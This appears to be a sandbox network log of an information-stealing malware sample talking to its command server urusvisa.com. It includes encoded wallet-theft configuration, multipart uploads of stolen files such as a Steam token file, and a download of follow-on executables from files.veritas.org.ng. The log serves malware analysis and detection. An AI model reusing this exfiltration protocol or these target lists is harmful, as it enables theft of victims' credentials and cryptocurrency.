Sep 30, 2024 13:59:32.603741884 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 [TRUNCATED] Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzfDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxwYXNzcGhyYXNlLmpzb258MHxFeG9kdXN8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHNlZWQuc2Vjb3wwfEV4b2R1c3wxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RXhvZHVzfDF8XEV4b2R1c1xiYWNrdXBzXHwqLip8MXxFbGVjdHJvbiBDYXNofDF8XEVsZWN0cm9uQ2FzaFx3YWxsZXRzXHwqLip8MHxNdWx0aURvZ2V8MXxcTXVsdGlEb2d [TRUNCATED]
Sep 30, 2024 13:59:32.700165987 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJK Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="mode"4------GDGDHJJDGHCAAAKEHIJK--
Sep 30, 2024 13:59:33.258646965 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e 52 6a 4b 69 34 71 4c 43 70 69 61 58 52 6d 62 48 6c 6c 63 69 6f 75 4b 69 77 71 61 33 56 6a 62 32 6c 75 4b 69 34 71 4c 43 70 6f 64 57 39 69 61 53 6f 75 4b 69 77 71 63 47 39 73 62 32 35 70 5a 58 67 71 4c 69 6f 73 4b 6d 74 79 59 [TRUNCATED] Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0YnRjKi4qLCpiaXRmbHllciouKiwqa3Vjb2luKi4qLCpodW9iaSouKiwqcG9sb25pZXgqLiosKmtyYWtlbiouKiwqb2tleCouKiwqYmluYW5jZSouKiwqYml0ZmluZXgqLiosKmdkYXgqLiosKmV0aGVyZXVtKi4qLCpleG9kdXMqLiosKm1ldGFtYXNrKi4qLCpteWV0aGVyd2FsbGV0Ki4qLCplbGVjdHJ1bSouKiwqYml0Y29pbiouKiwqYmxvY2tjaGFpbiouKiwqY29pbm9taSouKiwqd29yZHMqLiosKm1ldGEqLiosKm1hc2sqLiosKmV0aCouKiwqcmVjb3ZlcnkqLip8MTUwfDN8KndpbmRvd3MqLCpQcm9ncmFtIEZpbGVzKiwqUHJvZ3JhbSBGaWxlcyAoeDg2KSosKkFwcERhdGEqLCpQcm9ncmFtRGF0YSosKi5sbmssKi5leGUsKi5zY3IsKi5jb20sKi5waWYsKi5tcDN8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl [TRUNCATED]
Sep 30, 2024 13:59:33.278925896 CEST	640	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKFIJEGCAAFHJKFCFC Host: urusvisa.com Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 46 49 4a 45 47 43 41 41 46 48 4a 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 46 49 4a 45 47 43 41 41 46 48 4a 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 46 49 4a 45 47 43 41 41 46 48 4a 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 [TRUNCATED] Data Ascii: ------AEBKFIJEGCAAFHJKFCFCContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------AEBKFIJEGCAAFHJKFCFCContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------AEBKFIJEGCAAFHJKFCFCContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------AEBKFIJEGCAAFHJKFCFCContent-Disposition: form-data; name="file_data"OhJf/g==------AEBKFIJEGCAAFHJKFCFC--
Sep 30, 2024 13:59:34.603841066 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 13:59:34.604007959 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 13:59:34.604149103 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 13:59:35.346832037 CEST	182	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECF Host: urusvisa.com Content-Length: 130481 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:36.551178932 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 13:59:36.555147886 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEG Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 2d 2d 0d 0a Data Ascii: ------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="mode"5------KFIDAFBFBKFHJJKEHIEG--
Sep 30, 2024 13:59:37.250927925 CEST	459	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 63 0d 0a 4d 54 49 31 4d 7a 51 77 4d 6e 78 6f 64 48 52 77 4f 69 38 76 5a 6d 6c 73 5a 58 4d 75 64 6d 56 79 61 58 52 68 63 79 35 76 63 6d 63 75 62 6d 63 76 62 47 52 74 63 79 38 32 4e 6d 5a 68 4d 6d 49 77 4e 44 6b 77 4d 6a 42 6d 58 32 78 6b 62 6d 59 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 78 4d 6a 55 7a 4e 44 41 7a 66 47 68 30 64 48 41 36 4c 79 39 6d 61 57 78 6c 63 79 35 32 5a 58 4a 70 64 47 46 7a 4c 6d 39 79 5a 79 35 75 5a 79 39 73 5a 47 31 7a 4c 7a 59 32 5a 6d 45 79 59 57 5a 6a 4e 57 46 69 5a 57 46 66 64 6d 46 7a 5a 43 35 6c 65 47 56 38 4d 58 78 72 61 32 74 72 66 44 45 79 4e 54 4d 30 4d 44 52 38 61 48 52 30 63 44 6f 76 4c 32 5a 70 62 47 56 7a 4c 6e 5a 6c 63 6d 6c 30 59 58 4d 75 62 33 4a 6e 4c 6d 35 6e 4c 32 78 6b 62 58 4d 76 4e 6a 5a 6d 59 54 4a 68 5a 54 6b 77 4e 6a 59 31 4e 31 39 7a 62 6d 51 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 11cMTI1MzQwMnxodHRwOi8vZmlsZXMudmVyaXRhcy5vcmcubmcvbGRtcy82NmZhMmIwNDkwMjBmX2xkbmYuZXhlfDF8a2tra3wxMjUzNDAzfGh0dHA6Ly9maWxlcy52ZXJpdGFzLm9yZy5uZy9sZG1zLzY2ZmEyYWZjNWFiZWFfdmFzZC5leGV8MXxra2trfDEyNTM0MDR8aHR0cDovL2ZpbGVzLnZlcml0YXMub3JnLm5nL2xkbXMvNjZmYTJhZTkwNjY1N19zbmQuZXhlfDF8a2tra3w=0
Sep 30, 2024 13:59:38.889620066 CEST	678	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAF Host: urusvisa.com Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="mode"51------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="task_id"1253402------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="status"1------HIIIIEGHDGDBFIDGHDAF--
Sep 30, 2024 13:59:39.777276039 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 13:59:40.486860037 CEST	678	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECB Host: urusvisa.com Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="mode"51------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="task_id"1253403------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="status"1------KJKKKJJJKJKFHJJJJECB--
Sep 30, 2024 13:59:41.272193909 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 13:59:41.783044100 CEST	678	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECB Host: urusvisa.com Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="mode"51------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="task_id"1253404------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="status"1------HDBGHDHCGHCAAKEBKECB--
Sep 30, 2024 13:59:42.553721905 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 13:59:42.555980921 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEG Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 2d 2d 0d 0a Data Ascii: ------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="mode"6------KFIDAFBFBKFHJJKEHIEG--
Sep 30, 2024 13:59:43.127933025 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49723	147.45.44.104	80	3532	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 13:59:37.600955963 CEST	98	OUT	GET /ldms/66fa2b049020f_ldnf.exe HTTP/1.1 Host: files.veritas.org.ng Cache-Control: no-cache
